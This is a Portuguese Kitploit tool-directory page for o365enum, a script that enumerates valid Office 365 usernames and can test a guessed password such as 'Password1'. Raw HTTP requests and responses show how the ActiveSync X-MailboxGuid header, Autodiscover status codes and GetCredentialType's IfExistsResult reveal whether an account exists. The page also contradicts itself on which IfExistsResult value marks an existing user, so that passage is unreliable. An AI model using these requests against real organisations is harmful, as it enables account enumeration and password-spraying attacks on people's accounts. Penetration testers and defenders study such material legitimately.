Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
o365enum — Enumerar nomes de usuário válidos do Office 365 usando ActiveSync, Autodiscover v1 ou a página de login do office.com. | Kitploit
Ferramentas/GitHubGitHub/gremwell/o365enum
OSINT (Inteligência de Fontes Abertas)ReconhecimentoColeta de InformaçõesSegurança Web
GitHubgremwell/o365enum

o365enum

Enumerar nomes de usuário válidos do Office 365 usando ActiveSync, Autodiscover v1 ou a página de login do office.com.

Ver Repositório
30143há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

Enumeração de Usuários do Office 365

Enumere nomes de usuário válidos do Office 365 usando ActiveSync, Autodiscover ou a página de login do office.com.

Uso

o365enum lerá nomes de usuário do arquivo fornecido como primeiro parâmetro. O arquivo deve ter um nome de usuário por linha. A saída é baseada em CSV para facilitar a análise. O status válido pode ser 0 (usuário inválido), 1 (usuário válido), 2 (usuário válido e senha válida).

root@kitploit:~
python3.6 o365enum.py -h
usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]
                   [-m {activesync,autodiscover,office.com}]

Office365 User Enumeration Script

optional arguments:
  -h, --help            show this help message and exit
  -u USERLIST, --userlist USERLIST
                        username list one per line (default: None)
  -p PASSWORD, --password PASSWORD
                        password to try (default: Password1)
  -n NUM, --num NUM     # of reattempts to remove false negatives (default: 3)
  -v, --verbose         Enable verbose output at urllib level (default: False)
  -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}
                        method to use (default: activesync)

Exemplo de execução:

root@kitploit:~
./o365enum.py -u users.txt -p Password2 -n 1 -m activesync
username,valid
[email protected],0
[email protected],1

Métodos de Enumeração

Enumeração via ActiveSync

Este método é baseado no método do grimhacker que envia requisições de autenticação HTTP Basic para o endpoint ActiveSync. No entanto, verificar o código de status não funciona mais, pois o Office365 retorna 401 independentemente de o usuário existir ou não.

Em vez disso, enviamos a mesma requisição, mas verificamos a presença de um cabeçalho de resposta HTTP personalizado (X-MailboxGuid) para identificar se um nome de usuário é válido ou não.

Conta Existente

A requisição abaixo contém as seguintes credenciais codificadas em Base64 no cabeçalho Authorization: [email protected]:Password1

root@kitploit:~
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

Isso gera a seguinte resposta ("401 Unauthorized") com o cabeçalho X-MailboxGuid definido, indicando que o nome de usuário é válido, mas a senha não:

root@kitploit:~
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- Este cabeçalho vaza o status da conta (existente)
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close

--snip--

Conta Inexistente

A requisição abaixo contém as seguintes credenciais codificadas em Base64 no cabeçalho Authorization: [email protected]:Password1

root@kitploit:~
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

Isso gera a seguinte resposta ("401 Unauthorized", mas desta vez sem o cabeçalho X-MailboxGuid, indicando que o nome de usuário é inválido.

root@kitploit:~
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close

--snip--

Enumeração via Autodiscover

O endpoint autodiscover permite a enumeração de usuários sem uma tentativa de autenticação. O endpoint retorna um código de status 200 se o usuário existir e 302 se o usuário não existir (a menos que o redirecionamento seja feito para um servidor Exchange local).

Usuário Existente

root@kitploit:~
GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0
root@kitploit:~
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 97
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: fee7f899-7115-43da-9d34-d3ee19920a89
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 200
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 200
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0008
Date: Mon, 02 Mar 2020 12:50:48 GMT
Connection: close

{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}

Usuário Inexistente

root@kitploit:~
GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0
root@kitploit:~
HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 277
Content-Type: text/html; charset=utf-8
Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1
Server: Microsoft-IIS/10.0
request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45
X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com
X-BackEndHttpStatus: 302
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: DB6PR0202MB2568
X-BEServer: DB6PR0202MB2568
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 302
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0013
Date: Mon, 02 Mar 2020 12:50:50 GMT
Connection: close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&amp;Protocol=Autodiscoverv1&amp;RedirectCount=1">here</a>.</h2>
</body></html>

Enumeração via Office.com

AVISO: Este método funciona apenas para organizações que são assinantes do Exchange Online e que não possuem implantação local ou híbrida do Exchange Server.

Para empresas que usam servidores Exchange locais ou alguma implantação híbrida e, com base em alguma configuração que ainda não identifiquei, o servidor pode retornar um valor indicando que o nome de usuário existe para qualquer valor de nome de usuário.

O método é útil quando você não quer queimar uma tentativa de autenticação com 'Password1' :)

Determinando se um usuário existe

A propriedade IfExistsResult é usada para descrever se e como uma conta existe. Conforme discutido neste artigo do blog RSM, os valores são os seguintes:

Usuário Existente

Quando a conta existe, IfExistsResult é definido como um dos inteiros mencionados acima, normalmente 1.

root@kitploit:~
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json

{
    "checkPhones": false,
    "isOtherIdpSupported": true,
    "isRemoteNGCSupported": true,
    "federationFlags": 0,
    "isCookieBannerShown": false,
    "isRemoteConnectSupported": false,
    "isSignup": false,
    "originalRequest": "rQIIA--snip--YWSO2",
    "isAccessPassSupported": true,
    "isFidoSupported": false,
    "isExternalFederationDisallowed": false,
    "username": "[email protected]",
    "forceotclogin": false
}
root@kitploit:~
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 177110da-7ce4-4880-b856-be6326078046
x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200
x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Fri, 31 Jan 2020 16:01:26 GMT
Connection: close
Content-Length: 587

{
    "Username":"[email protected]",
    "Display":"[email protected]",
    "IfExistsResult":0,
    "ThrottleStatus":0,
    "Credentials":{
        "PrefCredential":1,
        "HasPassword":true,
        "RemoteNgcParams":null,
        "FidoParams":null,
        "SasParams":null
    },
    "EstsProperties":{
        "UserTenantBranding":null,
        "DomainType":3
    },
    "IsSignupDisallowed":true,
    "apiCanary":"--snip--"
}
Usuário Inexistente

Quando a conta não existe, IfExistsResult é definido como 1.

root@kitploit:~
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json

{
    "checkPhones": false,
    "isOtherIdpSupported": true,
    "isRemoteNGCSupported": true,
    "federationFlags": 0,
    "isCookieBannerShown": false,
    "isRemoteConnectSupported": false,
    "isSignup": false,
    "originalRequest": "rQIIA--snip--YWSO2",
    "isAccessPassSupported": true,
    "isFidoSupported": false,
    "isExternalFederationDisallowed": false,
    "username": "[email protected]",
    "forceotclogin": false
}
root@kitploit:~
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7
x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00
x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Thu, 06 Feb 2020 12:57:43 GMT
Connection: close
Content-Length: 579


{
    "ThrottleStatus": 0,
    "apiCanary": "--snip--",
    "Username": "[email protected]",
    "IfExistsResult": 1,
    "EstsProperties": {
        "UserTenantBranding": null,
        "DomainType": 3
    },
    "Credentials": {
        "PrefCredential": 1,
        "FidoParams": null,
        "RemoteNgcParams": null,
        "SasParams": null,
        "HasPassword": true
    },
    "IsSignupDisallowed": true,
    "Display": "[email protected]"
}

Contribuidores

  • @jenic - Análise de argumentos e redução de falsos negativos.
  • @Mike-Crowley - Correção da descrição do IfExistsResult.
Baixar ferramenta
ItemPreço
-1Um erro desconhecido
0A conta existe e usa esse domínio para autenticação
1A conta não existe
2A resposta está sendo limitada
4Algum erro do servidor
5A conta existe, mas está configurada para autenticar com um provedor de identidade diferente. Isso pode indicar que a conta é usada apenas como conta pessoal
6A conta existe e está configurada para usar tanto o domínio quanto um provedor de identidade diferente